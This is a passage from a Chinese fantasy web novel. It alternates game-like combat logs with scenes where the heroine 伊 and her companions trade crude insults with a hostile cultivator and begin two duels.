伊使用绝地反击技·阴阳斩一式,消耗本回合全部回合数,伊全身爆发出前所未有的力量,这份力量强大到甚至超越伊面前的强敌数倍。伊的双眸中迸发出一种神秘的色彩,那种色彩往上一眼就会让人新生敬畏。 “我绝不会放弃的。即便我是大家眼中的菜鸟,即便我生来就很弱小,但我从未放弃过成长。如今,我更不会选择妥协。向曾经的懦弱,说不!” 伊接住从天空中落下的光之剑,阴与阳的色彩融入纯粹的光明。伊握着这样一把融合阴阳的宝剑,召唤出密集的光之剑剑阵。在她一声令下之后,她随剑阵一起出发,奔向她们的敌人。 “嘿!” 一剑阴。 “哈!” 一剑阳。 “嘿呀!” 阴阳合璧双剑连挥。 “乌拉!” 阴阳合一,剑光飞闪,威力无穷,气吞山河。以力劈华山之势,对敌人造成难以想象的巨额伤害。 袁珂受到399点伤害,袁珂被施加了八回合的威力增幅无效化。太极之力粉碎了伊身上的负面状态,下回合开始时激活仙主强化状态。 伊查看了敌我状态。 伊,剩余血量10点。 袁珂,剩余血量46点。 战斗暂停中...... 伊: “奇怪?我是怎么打出这一击的?” 铃兰花: “伊,你的状态......非常不好。” 伊: “无伤大雅,我还能继续战斗。” 铃兰花: “伊,你一定要小心呐。” 伊: “嗯。” 铃兰花: “话说,伊。你体内到底蕴藏了多少份力量?” 伊: “其实......我也不知道呢。” 战斗继续...... 第六回合,袁珂技能:搏命之铮触发,三回合内减免90%伤害,但防御力归零,本回合拥有锁血,但三回合后立即毙命。伊进入仙主强化,血量变为300点,速度等级变为V,单回合五行动,给予自身永久的仙·全属性增幅效果。伊恢复50点生命。速度等级相同,双方交替出手。 伊使用卡娜铃兰的技巧之闪蝶二仙,打出姿态优美的二连斩!对袁珂造成20点伤害,袁珂身负一层皓月铃兰和九层蜂巢意志。 袁珂使用隐匿蛇王,对伊造成31点伤害,对伊施加一层中毒和流血。 伊使用极技·野蜂狂舞,清除袁珂身上全部蜂巢意志层数,伊化身蜂后施展最终绝技。数十只机械化的祖始黄蜂出现在袁珂周围,伊高举骑枪,对准袁珂下达了格杀勿论的指令。 “以蜂巢首脑的指令,抹杀你的存在!” 随即蜂群开始猛烈的攻击,伊也投身其中引领群蜂战斗。一轮激烈的围攻后,伊飞到远处举起骑枪,然后通过蜂巢指令将群蜂聚集在骑枪之上。慢慢地,一把巨大的赛博金属骑枪就形成了。伊将这柄骑枪对准袁珂,并默默汇聚好能量。 “接受蜂后的制裁吧!无知的入侵者。我将以蜂巢首脑之名,为你送上命定之死!消失吧......” 伊推着巨大的骑枪贯穿了袁珂,随后战场发生了激烈的爆炸。 袁珂受到288点伤害,袁珂身上的三级麻痹升级为四级麻痹,十回合内行动数减1。伊恢复120点生命值,三回合免疫普通中毒类负面效果。 袁珂由单回合五行动变为单回合四行动。 袁珂使用弑杀剑阵,对伊造成18点伤害,对伊施加一层缓慢和虚弱。伊采取防御措施,减免12点所受伤害。 伊使用Emw连击,伊召唤出Emw-19生或死(一把带鞘的武士刀),对袁珂造成18点伤害,对袁珂施加两层流血。 突发情况!Emw-19专属技能触发,伊获得释放极技的机会。 伊使用极技·生死一线,收刀、赌命、拔刀、再收刀,一刀定乾坤。 “呀!!!出现吧,二分之一的概率!” 袁珂受到347点伤害,属性追加142点伤害,且被施加了三层生死契约(所受伤害有概率翻倍,也有概率缩减一倍)。伊体内50%核心能力被清空。 袁珂肉体濒临承受极限。 袁珂使用休养生息,降低肉体负压程度。 袁珂肉体状态恢复了些许。 伊使用Emw连击,伊召唤出EcL-49仙的Emw:仙剑·白泽(一把仙剑),对袁珂造成32点伤害。袁珂晕厥了。 伊使用卡娜铃兰的技巧之三蝴蝶,释放夺命三连击!对袁珂造成24点伤害,袁珂身负两层皓月铃兰和三层蜂巢意志。 第七回合,致胜回合,袁珂和伊本回合只许行动三次。袁珂技能触发,袁珂进入最后的狂暴,血量变为100。伊恢复50点生命。袁珂先手攻击。 袁珂使用大河狂舞,伊使用蜂巢指令·抹杀应对,可惜应对失败,伊受到86点伤害。 袁珂使用噬天巨蛇,伊使用卡娜铃兰的技巧之蝴蝶剑舞,应对成功,袁珂受到45点伤害,袁珂身负五层皓月铃兰和六层蜂巢意志。 袁珂使用终结技·眼镜蛇暗杀,伊使用极技·永恒花园的契约,应对成功,伊受到100点伤害,袁珂受到199点伤害。 伊二赢一输,对决的结果已经显而易见了。 最终的绝杀即将来临...... 第八回合,终幕,双方开启最后的交锋。伊恢复50点生命值。双方同时出手。 伊使用容颜破碎拳,伊向袁珂打出了致命的一拳。 袁珂使用夺命一鸿,袁珂向伊打出了致命一刺外加一劈。 在眨眼间,战斗便分出了胜负。 伊一拳头结结实实地打在袁珂脸上,而袁珂手中的匕首与斧头距离伊仅有分毫,却在将要命中时定格。失之毫厘犹如差之千里。带着不甘与怨恨,袁珂缓缓倒下。只留下作为胜利者的伊,独自享受着胜利所带来的喜悦。伊最终取得了胜利,一场漂亮的胜利! 第九回合,伊先手攻击。 伊使用治愈之光,成功保住了袁珂的生命,也给予他一份救赎。 袁珂血量归零......败北! 伊取得了胜利,获得Exp,等级从22级升至28级,可喜可贺! 战斗结束...... 袭击伊的刺客倒下了,周围的环境也随之消失。伊回到现实,正赶上陌他们围剿敌人的残党。伊笑着呼出一口气,疲累的身心迎来了放松。伊分解身上的装备,解除身上的强化状态,归复平常。 没等伊好好喘几口气,一声讥讽凌空而下,传入伊的耳中。 “诶呦呦,这白毛丫头还挺厉害呢。” 伊听到声音,猛然抬头望去。这时候,伊面前的山峰上出现了一位摆弄着机关扇的红衣女子。 红衣女子的穿着凸显妖艳与霸道,超级短裤、高端丝料做的过膝长袜加朱雀纹护袖极显风骚,刻意修缮装饰过的长发凸显个性,脸上的淡妆将她的容颜塑造的美艳,手中把玩的机关扇更能彰显她的气质,从衣着妆容上来看,她更像一位千金小姐,而不是一个战士。只是她背后悬着的三把仙文剑难免让人认清她的真实身份,强烈的反差塑造了她如带刺玫瑰一样的形象。 红衣女子面露微笑,继续评价道: “肤白貌美的,一看就不是好伺候的主。” 下一秒红衣女子立马变脸。 “哈哈哈,只是可惜,这副好容颜生在了一个贫苦土地上的贱丫头身上。” 面对对方的嘲讽,伊有些生气地皱了皱眉。出于最基本的素养,她忍住内心冒出的反感,并用温柔的口吻问对方: “这位姐姐,为什么见面就要对人家恶语相加呢?” 红衣女子疑惑了一下,歪着头一脸不解地看着伊,仿佛伊的问题是不该从伊问出的一样。红衣女子轻轻扇了扇扇子,嘴角微微挂起,露出不屑的笑容: “嗯?有什么问题吗?” 面对轻蔑,善良的伊一本正经地告诫对方: “这样是很不礼貌的。这种话说到人心里,会很让人反感的。请文明用语,姐姐。尊重他人也是尊重自己。” 红衣女子笑了,神情中满是不屑。 “对于一只待宰的羔羊,需要那么多繁文缛节吗?对弱小者多愁善感,说出去会让人笑话的。更何况在女人的世界里,其余的妖艳货色一律都是敌人。” 红衣女子的话刺痛了伊的心,伊默默地攥起拳头,眉头上微微浮现出青筋的影子。但即便如此,伊还是耐心地与对方说着道理。 “姐姐,你这样说是不对的。与人交谈应该心平气和,不要总想着碾人家一头,这样才能广识良友的。” 红衣女子不耐烦了,连忙呵斥: “你这贱丫头怎么这么愿意多嘴?不看看自己几斤几两就来说教,真是蠢到家了!你算什么地位?配来教育我吗?” 伊忍不住了,但她还是一脸微笑的面对对方。骨子里的教养告诉她不能失态,要骂也是要文明着去骂,既不能站在道德制高点去绑架,也不能弄在一起与低俗者互咬,只是讽刺和简单的杀人诛心就够了。 伊故意表现得和颜悦色,先从态度上与对方拉开差距。然后用笑容掩盖心中真实的想法,再用温和的口吻告诉对方: “姐姐!请你态度温和一点。你这样说话是会招人讨厌的,还会显得你很贱。哦,抱歉,用词不当。应该说‘高冷’。” 这一下就点燃了红衣女子的怒火。她气红了脸,小肚鸡肠的她本想着冲伊发火,可心中的矜持不允许。为了面子,她与伊怒视过后选择维续着原本的傲慢与优雅。她轻轻扇了扇扇子,脸上洋溢着笑容,仿佛她不在乎伊的话。可伊敏锐的眼光还是看出了破绽,红衣女子无疑攥紧的手就是她内心最真实的想法。 伊见此心中暗喜,心想: “果然是小心眼子的女人。嘻嘻......我最不怕这样的女人了。接下来,我定能揭穿你的伪装。论嘴皮子功夫,你绝对比不过我。我可是小初高连任十二年的语文课金牌选手,请好好见识一下我的功力吧!” 红衣女子恼怒但不失礼貌地问伊: “你想死吗?贱丫头。凭你也配来和我拌嘴?呵,贱人。” 红衣女子装起了霸道与高冷,可惜这都被伊一一看穿了。伊想了一想,表面上表露自己有些许自卑,仿佛被戳中痛楚选择沉木,但实则在心里已经想好了令对方“破防”的话。伊心想: “请你记住你现在嚣张的样子,等下就让你变成泼妇。” 伊露出天真无邪的笑容,抬起头直视对方的眼睛,以一种前所未有的自信面对对方的傲慢。红衣女子见此,不由得皱了皱眉头。伊指着自己,对红衣女子发起了灵魂拷问: “唔......贱人吗?若你比喻我为贱人,那请问这位姐姐,你是什么?是比我更贱的贱人还是连我这个贱人都不如的人。啊!你该不会是传闻中的‘狐狸精’吧?” 红衣女子脸色瞬间变得难看了起来,她强绷着脸没让自己失态,可激动的手已经快按奈不住她心里的怒气。为了面子,她强忍怒火,仍是一副高高在上的样子。伊见状若无其事地继续说了下去,完全无视掉对方正逐渐上涨的怒气。 “哦!这一切也就解释得通了,难怪姐姐你一身骚气。不仅仅看起来骚,气质更是如此呀。诶呦,趁咱俩说话的时候,气味都飘到我鼻子里了呢。真是奇怪呢,狐狸精犯贱了,总得争个你强我弱。据说呀,狐狸精是不允许有别的人比她更贱的哦,不然狐狸精的名号就被别人抢去了。” 红衣女子脸色更加难看了,眉头紧锁,咬牙切齿,脸涨红到盖住了妆,表情在狰狞与平静中寻找平衡,先前的尊贵变得狰狞抽象了起来。她的怒气使她在颤抖,迸发而出的杀意填满了她狭隘的心胸,她的伪装即将被伊撕破。伊见状露出与肃清者风格一致的、阴森的笑容,伊知道计划即将得逞。 伊不畏风险选择继续补刀,准备一举击溃对方。 “你说,即便是这样的荣誉,也是要争一下的不是吗?虽然这听起来挺让人难以启齿的,但拿到手里还是难免高兴的,对吧?嘻嘻......没有真正的实力,哪来这样趾高气昂的炫耀啊?你觉得我说的对吗?如果有不对的地方请您给我指正一下哦。谢谢你啦,姐姐。” 伊这番阴阳怪气的嘲讽令红衣女子情感“破防”。红衣女子的神情变得狰狞,行为举止也暴露出她野蛮的一面,先前的霸道又优雅的形象此刻荡然无存,怒火终究是令她露出了真面目。红衣女子怒目圆瞪,而伊风轻云淡满不在乎。红衣女子忍不住了,她恼怒地说: “给我住口——!你他妈骂谁狐狸精呢?!你会说话吗?照照镜子好好看看自己几斤几两,你是配说那些话的人吗?!他奶奶的!我真是服了你了。哼!贱女人就是贱女人,死大街都没人要的那种。哼!” 发泄完怒火,红衣女人还高傲的安慰自己: “哦,对......我不能跟贱人生气,不至于。” 伊露出滑稽的微笑,满脸的解气与爽快。伊又问道: “狐狸精姐姐,你生气了吗?” 红衣女子狠狠瞪了伊一眼,随后指挥飞剑刺向伊。伊不慌不忙地向一旁小挪了一步,正好躲开飞剑。伊躲开我还不忘开心的笑一笑,可谓是嘲讽性拉到了最高。红衣女子见状有些尴尬,但仍面不改色的怒斥道: “贱婆娘!把嘴闭上!我不想和你这乡下的贱人说话,怕你污染我的思想。你这种只配给乡下光棍服务的贱人,凭什么和我说话。” 伊察觉对方的情绪呈现出释放状态,急忙继续补刀: “诶!你怎么说话这么难听呀?见面就要恶语相待,你可真是外洁内烂啊。我觉得你的母亲一定没有教过你该怎么正确对其他女孩子说话,家教的缺失才决定了你现在的窘境。真是可怜呢,我想你的家和你的家人对你来说一定形同虚设吧。” 红衣女子气得直哆嗦,可又说不出与之较量的话,只能无助的撒气: “死贱人!你再给老娘胡说一句个试试?!” 又一把飞剑袭来,伊这次绕着之前的飞剑转了一圈,轻松躲开飞剑。伊向红衣女子投来无辜的目光,又用笑容表现出自己的善良。 “姐姐,你真野蛮。你这样以后会没人要的。温馨提示您,过于强势且不懂是非的女人是会导致败家的哦。这样的女人,男人碰见了会毁掉婚姻,甚至会搭上一辈子幸福的哦。啧啧啧......” 这番话刺痛了红衣女子的心,红衣女子在情绪的诱导下失了分寸,彻底沦陷在伊为她设计好的圈套之中。 “我怎么样要你管?再怎么样也轮不到你来指指点点!” 伊急忙给自己的话纠错,并再度给予红衣女子嘲讽: “哦,我说错了。抱歉!修仙者想要修成正果是不能恋爱的,要是恋爱的话是永世无法突破第三层修为境界哦。我想你们的老师应该告诉你们了。” 红衣女子一脸不服地问: “你懂个屁的修仙?我问你,你现在境界多高了?” 伊没有理会红衣女子的提问,而是自顾自地用怜悯的语气说: “欸?难道没有吗?哦,我的老天,你真的太可怜了,姐姐。恋爱脑的仙都是假神仙~~~你不会没听过这句话吧?” 红衣女子心虚,一时语塞。伊趁此机会,给予她最后一击: “我真可怜你,姐姐。这样前进下去你一定会不好受吧,那种是非都已经模糊的路一定很难走吧?走到尽头的结局,嗯......用你们的话来说,就只能任人踩在脚下,当个受人欺辱的伪仙女哦。” 这番话对红衣女子的心灵造成了严重的伤害。红衣女子既愤怒又无奈,嘴上说不过,因为计划又不能动手,这令她感受到了前所未有的憋屈。奈何她没经历世间的磨砺与毒打,不懂人心险恶,一味用狭隘的目光看世界,心中没有对新事物的敬畏,只有傲慢。面对伊的嘲讽,她无力抵抗最后只能委屈的接受。 可即便是接受这份委屈,傲慢的她也要找个合适的理由。嘴炮战役上输得狼狈,可面子却还要好好保存着。最后,她咬牙切齿地说: “你!哎呀......要不是为了等人,我真想现在就扒了你的皮!只可惜你不是什么贵人,不然逾越规矩杀了你也不算什么事!庆幸你现在还能说话吧,一会你可就一句话都说不出来了!” 这一刻,就如伊心里预测的那样,她变成了一个泼妇。 这时候,陌他们赶了过来。见到突然回来的伊,众人开心的围了上去。作为队伍里的团宠,伊早已习惯这种亲口。山上的红衣女子见到此番景象后满脸的不服气,心想: “就这样的货色还配受到那么多人的关注?真是荒谬!” 这时,眼光敏锐的陌注意到了山上的红衣女子。陌好奇地问: “伊!怎么回事?那个娘们是谁?” 红衣女子听到陌这么说自己,气不打一处来,郑重强调自己的身份: “说谁娘们呢?在下是尊贵的......” 可红衣女子话还没说完,就被打扫完战场的小咒刀打断: “主人,我来啦!你没事吧,主人。有没有受伤?饿不饿?心情怎么样?” 伊微微一笑回答道: “我很好,谢谢。” 这时不死耶稣走到伊身旁,说: “嘎嘎嘎!来晚了。你没事吧,伊。” 伊笑着回应: “没事。” 这时,小咒刀注意到了山上的红衣女子。小咒刀见到对方穿得妖娆风骚,不禁皱紧了眉头。“高素质”的小咒刀用俏皮的语气问伊: “主人,那个搁山上站着的傻逼是谁呀?大冷天还穿那种骚骚的东西出门,贱不贱啊?好像我年轻时候生活过的那座城的后巷里提供‘生命哲学启蒙专业一对一服务’的那啥。凡是看着花花绿绿的,好看是好看,就是人太贱!” 小咒刀一番“高素质”发言令红衣女子再度情感“破防”了,她大吼了一声,随后愤怒地说道: “啊!!!诶呀!!够了!我受够了。我要杀了你们!大开杀戒,一个不留!这样的羞辱怎能忍受?我要让你们付出代价!” 正当红衣女子要跳下山头与伊一行人决一死战时,红衣女子背后传来一个男人温柔的声音,他叫住了红衣女子。 “慢着......” 一位蓝衣黑发手拿扇子的帅公子走到红衣女子身旁,看了看她,又看了看山下的伊一行人,随即露出礼貌的微笑。 陌见状有些不安地说: “又来一个......” 这位帅公子面相英俊、仪表堂堂,第一眼就给人带来一种高雅的气质。再加他身上朴素的打扮,手里拿着文雅的把玩小扇,扇上绣有诗与梅花,素有一番博学多才者的气势。从外貌与神态上来看,他面相和善,丝毫没有傲气与俗气,连眼神里都是敬畏与谦虚,生来就不是恶人相。 不过对方多了一人,陌有些惴惴不安。伊面对帅公子的微笑,采取同样的微笑回应。帅公子见了,礼貌地点头回应,还比了个可爱的手势。两人虽为敌人,但问候时却都很和善。 伊轻声夸赞帅公子: “他比那个坏脾气的姐姐要好诶。” 那位帅公子扇了扇扇子,又轻拍红衣女子的肩膀,以笑容暂且稳住了红衣女子的情绪。帅公子劝对方: “大姐,别冲动。将军他马上就来。” 红衣女子一把将他的手打到一旁,心中的怒火激发了她任性的一面。红衣女子用轻蔑的眼光看着山下的众人,攥起手像是急不可耐要揍对方一顿的样子,她愤愤的告诉那位帅公子: “哼,没有他我们照样能收拾这些没教养的败类。” “大姐,你要干嘛?” “你说呢?” “大姐,别冲动!别......” 没等帅公子说完,红衣女子就跳了下去。帅公子见状,脸色要多难看有多难看,他脸上挂着一抹无奈的微笑。 红衣女子落地后吹响随身携带的笛子,又摇了摇白金色的铃铛。发出的声音先是某种信号,先前被打倒的刺客如行尸走肉一般站起,然后拖着死去的队友快步离开这片区域。见此情形,伊顿时心感不妙。 红衣女子凭空变出两把红刃弯刀,又唤来三把红光飞剑前来助阵。红衣女子用饱含杀气的眼神盯着伊,汹涌的愤恨在此刻都化为了她身上泛起的红雾状斗气。红衣女子大声要求: “那个白毛丫头和那把臭剑留给我,剩下的人你们随意......” 银骨剑圣见状默默地说: “看样子,对方来头不小啊。” 站在山上的帅公子一脸难堪地望着山下发飙的红衣女子,他的眼神微妙中带点独特,仿佛是在说:“天呐!我怎么就有一个这么蠢的队友啊!”不过一码事归一码事,作为同行的队友,他还是决定帮一下红衣女子。 帅公子不情愿道: “大姐......唉,真拿你没办法。” 帅公子也跳了下来。见到面前的两位劲敌,伊一行人都不由得紧张起来。这时,银骨剑圣似乎看出那位帅公子身上的特异点,顿时两眼放光。银骨剑圣又一次找回自我。姜北谷子向前走了几步,然后头也不回地对身后的陌说道: “陌老弟,你和耶稣去支援伊小姐,这家伙交给我来处理。” 陌有些担心地问: “你一个人行吗?姜北谷子。” 姜北谷子自豪地说: “没事。想当年我还活着的时候,我家周围十个山岭里每一个能打得过我的。更何况,我当年还宰了一头百尺来长的春龙呢。” 陌献上尊敬的笑容,心怀敬畏地说: “那好,请开始你的表演。” 场上的空气中充满了火药味,一场大战不可避免。 姜北谷子做手势示意帅公子跟随自己离开,帅公子会心一笑接受邀请。姜北谷子一顿疾驰来到场上一处空旷的空地上,此处距离伊她们有八十来步的距离,很难影响到伊那边的战斗。帅公子也很快跟了上来...... 留在原地的伊看着面前怒不可遏的红衣女子,脸上的微笑慢慢转变为严肃。两个谁也不服谁的女人望着彼此,每一秒都是几十次心理博弈。原本文静的伊在经历了这些天的磨难之后,愈发像殇一样勇敢又机智。尤其是在面对敌人的时候,她有了像殇一样的坦荡与魄力,一位真正的战士正渐渐成长。 伊攥紧了拳头,向红衣女子摆出了属于自己的迎战姿势,原本在战斗方面她是一概都模仿殇的,如今她创造出了自己的风格,也宣告开辟了道路。这一刻,她不再是殇眼中的菜鸟...... 联盟国—第十五话:天之军(上) 书接前章...... 战斗分为两组,一组为姜北谷子与帅公子之间的决斗,另一组为伊及其余队员与红衣女子之间的战斗。 战前,姜北谷子与帅公子间的对话: 帅公子: “哦!我认得你。咳咳......阁下可是四大剑圣之西丘山银棘,大名鼎鼎的姜北谷子呢?” 姜北谷子: “在下正是。” 帅公子笑道: “荣幸荣幸,见到你我真的是太高兴了。” 姜北谷子冷冷地说: “少耍嘴皮子功夫。你知道了,剑道极致对决,即决高下也决生死。你若念及家人,我可以赏你一局不死的较量。但......若你做好了觉悟,请拿出性命来与我决一死战。” 帅公子: “好强大气场......不愧是历史上的四大剑圣。正巧,在下是为忠贞的求荣者,那么就请剑身前辈,也做出同样的觉悟吧!剑圣之名,我也想要。” 姜北谷子: “你什么境界?” 帅公子谦虚地说: “刚入仙哲。” 姜北谷子笑道: “不错嘛。我想与你战斗,应该会很痛快。” 帅公子斗志昂扬地说: “我会拼尽全力的,前辈。” 帅公子凭空变出一把带鞘的刀,随后缓缓拔出刀。姜北谷子以为这是武士刀,突然有些失落。 姜北谷子: “哦?倭家的玩具吗?” 帅公子笑道: “不,这是‘水仙翠兰’,绣春刀基底。” 帅公子这么一说,姜北谷子就不觉得失落了。 姜北谷子: “有趣。让我试试我这把的‘银之荆棘’能不能与你的翠兰战上几回合。新时代的产物总得经过旧时代事物的敲打。你准备好了吗?小鬼。” 帅公子真诚地说: “前辈,请赐教。” 姜北谷子: “叶落,出鞘,人死,刀落。” 姜北谷子拿出了自己的银之荆棘。 姜北谷子严肃地说: “先说好,这一战既决高下也决生死。” 帅公子笑道: “正合我意。” 双方摆出架势,战斗一触即发...... 战前,伊、陌、小咒刀、不死耶稣与红衣女子之间的对话: 红衣女子愤怒地说: “小贱人,我现在就来扒了你的皮!” 红衣女子想要出手了结掉伊,可惜被小咒刀防御下来。 小咒刀: “住手!休想碰我的主人。” 这时,陌认出了红衣女子的身份。 陌讥讽道: “火神门的仙主吗?哈,现在天上人都已经堕落到这种程度了吗?就连神之眼都开不起了吗?” 火神门仙主?一脸反感地说: “住嘴!你这外人懂什么?神之眼是......” 陌打断对方: “是符合神仙铁规九条的仙人才能开启的,对吗?很显然,你这仙主有仙术造假的嫌疑啊。” 这时,火神门仙主?的额头上有汗珠滚落。眼光敏锐的陌注意到了这点,断定自己的话戳中了真相,使得对方心虚。 火神门仙主?辩解道: “胡说八道。修仙这东西怎么可能造假?” 陌: “仙术卷宗上难道没有告诉你们,不达成五大条件也能成仙这个事实吗?你难道真的认为太上忘情只是传说吗?根据我的资料表面,初薪王在世的时候,位列仙班的仙人们可各个都是太上忘情的境界啊。尽管有的境界不高,甚至都不及你的下级,但他们都有神之眼,而且可以随意睁开。” 火神门仙主?: “啰嗦!” 不死耶稣前来营造气氛。 不死耶稣: “诶!小妹妹别生气吗。陌先生只是阐述现实而已,不必如此动怒。” 火神门仙主?: “我受够了!地明之眼,开启同步......” 地明之眼: “**同步已开启。**” 火神门仙主?: “出来吧,宗门的各位。猎物已经入笼,立即执行宰杀!除了那个白毛贱人以外,你们随意。” 火神门仙主?身上的衣物变得更加精美,与火有关的纹理全都呈现在衣物的表面。她手持燃烧斗气的双刀,已然做好将伊一行人碎尸万段的准备。 火神门仙主?: “你们这群不知好歹的家伙,统统成为我炼丹炉里的仙药吧!” 这时,火神门仙主?呼叫的宗门人员赶到了现场。 宗门人员甲: “谷姐!我们来了。” 不死耶稣见状,笑着离开了队伍。 不死耶稣: “嘎嘎嘎,老朽先走一步。” 不死耶稣主动去阻拦援兵,为同伴接下来的战斗扫清障碍。 不死耶稣: “喂!你们那群拿武器的笨蛋,老子在这儿呢!” 宗门人员乙: “卧槽!白骨精!” (“我的个祖宗诶!大白天见鬼了!”) (“我没有在做梦吧?这是骷髅?娘的,咱不会是来到阴间了吧。不过,要是来到阴间了,我想去看一看我奶奶。奶奶生前最疼我了......”) (“甭废话,干他就完了!”) 这时,陌进入EcL强化状态,此时的他决定全力以赴。 陌: “就这么点人,还不够我塞牙缝的。” 这时,眼光敏锐的火神门仙主?注意到陌是个不简单的角色,于是决定先解决掉棘手的陌再报私仇。只是她刚试图攻击陌,陌就用魔法护盾提前防御了下来,又用幽灵侵袭将其击退。陌汇聚法力,使用焚灭天宇杖释放火流星风暴,她深陷其中难以抽身。 陌气愤地说: “诶!在别人说话时打人是违反规矩的。你想在这时候偷袭?痴人说梦。” 陌使用了死灵术,召唤出两位实力不凡的骷髅。 陌: “出来吧,老二老三。” 至尊骷髅侠和黑斗笠出现在伊的身旁。 陌: “老二老三,劳烦你照顾好伊小姐。我去带着老大支援老骨头。” 至尊骷髅侠: “好的,主人。” 黑斗笠: “包在我们身上吧,主人。” 陌: “伊,注意,对方大概率是火属性的敌人,可能擅长使用火焰。” 说完,陌离开了。伊听到这句话后,不由得陷入深思:“手里有什么武器能克制火焰系敌人?”正当伊深思之时,火流星风暴消失了,火神门仙主?从中解脱。伊留意到,对手毫无烧伤的痕迹,伊推测对方免疫火属性攻击。 火神门仙主?: “唔,好强的法术。差点就被破防了。” 伊: “......” 火神门仙主?轻蔑地说: “就你们四个?真是扫兴,我还想跟刚刚那位法师斗一斗呢。唉......只能勉强和你们这四个咸鱼打一打了。” 至尊骷髅侠: “少瞧不起人了!” 火神门仙主?: “你是人吗?” 至尊骷髅侠: “我......至少曾经是。” 黑斗笠: “行了,老二。不必跟这老妖婆浪费时间。人菜话才多。” 至尊骷髅侠: “我挺你!黑帽子哥。” 伊: “各位。别掉以轻心。她现在炸毛了,满脑子都是怒火。” 小咒刀: “主人别害怕,生气的女人斗不过老虎。咱一起上,杀她个杂种草的!” 伊劝告小咒刀: “保持高素质,小咒刀。我们不是老赖或是泼妇,素质要是要讲一讲的。” 小咒刀: “明白。主人!” 至尊骷髅侠: “干他奶奶的,杀了她!” 火神门仙主?此时怒上心头,被无视的感觉令她感到了极大的羞辱。 火神门仙主?: “我说......你们有没有把我放在眼里。” 小咒刀: “啊?你是要腌制吗?我们又不吃你,干嘛把你放盐缸子里?” 火神门仙主?愤怒地喊道: “我受够了!去死吧!你们这群杂种!” 火神门仙主?拿着武器冲向了对方,伊变出光之剑握在手中,随后毅然决然地与她双向奔赴。战斗以两人的第一次交锋为起点开始...... 首先,将视线移到最快结束战斗的第二战场,由此展开两个男人间的博弈。事先声明,接下来的所有战斗将以伊的战斗视角来进行叙述。不知不觉,全员都中二起来了呢!花开两朵各表一枝,双线同战速度围观。 第二战场,姜北谷子单挑康乾清。 康乾清发动突然袭击,姜北谷子从容不迫地应对,一来一回毫无破绽可言,反观康乾清险些因为破绽问题而流下本场的第一滴血。姜北谷子突然变招,反手几个突刺加近身快刀将两人同时拉入交锋占据。康乾清心领神会,随即挥刀与姜北谷子开始猛烈对砍,他们的攻击招招致命,但没有一招落在实处上。交锋的激烈与残酷就体现这里,攻防兼顾,一体式较量,被破招即是鲜血。 交锋之后,姜北谷子使出一记涡旋剑法将康乾清连同他手中的刀一起固定在了银之荆棘上。姜北谷子毫不墨迹,一个回旋剑法将康乾清连同他的刀一起甩飞了出去。康乾清使用水之仙术抵消掉衰落造成的伤害,还以一个很酷的姿势稳定着地。康乾清回想刚刚的一切,明白刚刚只是试探,而现在才是亮真功夫的时候。 康乾清笑了,嘴里念叨着: “原来,这就是老一辈对小一辈的关心吗?” 康乾清快速起身,箭步向前,掐准距离一跃而起,然后对姜北谷子使出了一记漂亮的飞踢。姜北谷子很喜欢这样的问候方式,他转体半周,迅速抬起左臂,做出似秀肌肉一般的姿势,用左臂内侧的骨头结结实实接下了这一击。两人看着彼此的身影,眼中迸发出的感情不止包含尊敬。 接下来迎战,水神门高等仙徒、天宫坎字军侍用兵卒、弱仙康乾清! 战斗准备中...... 姜北谷子,等级98,血量250,战斗力685,速度等级VI,单回合三行动,介绍:曾经闻名世界的四大剑圣之一,坐拥众多成就与名号,但一生过得清贫普通,终身未婚未孕。由于生前强大的执念,他的灵魂一直没有归入冥河,直到某一位死灵术士将他唤醒成一位亡灵。他死后以骷髅的形象存在,但实力仍不减当年。据说,都市传奇黑刃的绝学三刀斩就是来自他独创崛起鸿星七连斩的前三斩。 领主级目标出现!!! 康乾清,等级60,血量300,战斗力335,速度等级IV,单回合四行动,介绍:水神门一届高材生之一,常年位居水神门战力排行榜第五,实力叵测,是个非常强劲的对手。他曾是仙薪王白帝的追随者,也立志要挽救自己的民族于危难。可这份美好的愿望,随着仙薪王的叛逃一并封藏了起来。现在的他,只是一个盲目又麻木的傀儡,受制于现在腐朽的天上人内阁。 战斗准备完毕...... 第一回合,姜北谷子技能触发,每回合恢复1~80点生命,全局战斗整体风格改为高速度者,战斗架势切换为进攻,敌方单位进入眩晕或失稳时可以进行处决,攻击附加银之荆棘效果。康乾清技能触发,全身仙力爆发,进入仙化真人强化状态,血量变为900点,永久给予自身三层防御、力量、耐性、再生效果,每回合恢复33点生命,战斗架势切换为水·潺,攻击附加水灵元效果。 (高速度者风格效果:回合行动时消耗行动数加1,回合内最后一次行动不受其影响。战斗模式采用交锋,你一刀我一刀的战斗,速度等级高者优先发起进攻。攻击目标有概率造成致命伤害,参战全体暴击率提升50%。) (水·潺架势效果:水属性攻击伤害减少33%,每回合额外获得两次行动数,攻击附带水属性效果,攻击额外附加会造成范围伤害的气泡,速度等级低于对方时进攻会额外附加一段攻击,强烈的火属性克制。) 姜北谷子使用潜影暗杀,出其不意!对康乾清造成135点伤害,对康乾清施加五层流血,康乾清身负一层银之荆棘。 康乾清使用水之印·次元洪,对姜北谷子造成35点伤害,中途姜北谷子连续格挡四次。姜北谷子身负一层水灵元。 姜北谷子使用北国风光·梅飘零,对康乾清造成203点伤害,对康乾施加六层流血、三层迟缓,中途康乾清格挡一次。康乾清身负三层银之荆棘。 康乾清使用水之印·惊天浪涛杀,陆地上升起凭空升起九尺巨浪,水元素爆发式地覆盖了战场。姜北谷子使用断你筋骨直接破解,康乾清受到85点伤害,康乾清身负四层银之荆棘。姜北谷子受到10点伤害,姜北谷子身负两层水灵元。 康乾清使用水之印·水滴石穿,被姜北谷子躲开了。 第二回合,姜北谷子技能触发,本回合行动数加2,银之荆棘在他的剑上生长的更旺盛了。康乾清受到77点流血伤害,流血层数减6。姜北谷子恢复37点生命。康乾清恢复33点生命。 姜北谷子使用覆水难收,消耗两次行动数,对康乾清造成81点伤害,同时造成大量精神伤害。中途康乾清使用太极剑·三卦离合进行招架,姜北谷子受到20点伤害。康乾清身负六层银之荆棘。姜北谷子身负三层水灵元。 康乾清的架势濒临崩溃。 康乾清使用水之印·洋流穿袭,出其不意!对姜北谷子造成126点致命伤害!对姜北谷子施加三回合的两层缓慢、虚弱、破甲。康乾清恢复80点生命。姜北谷子身负十层水灵元。 姜北谷子技能触发,全属性伤害提升65%,防御力降低为0。 姜北谷子使用血雾弥漫,尸横遍野!,消耗本回合剩余全部行动数,释放绝对的致命攻击!平地二连斩接空中回旋三连斩,最后一记落地下劈斩出十米剑光,其招式华丽无比令人惊叹。 “死亡,并不是战士的终点。” 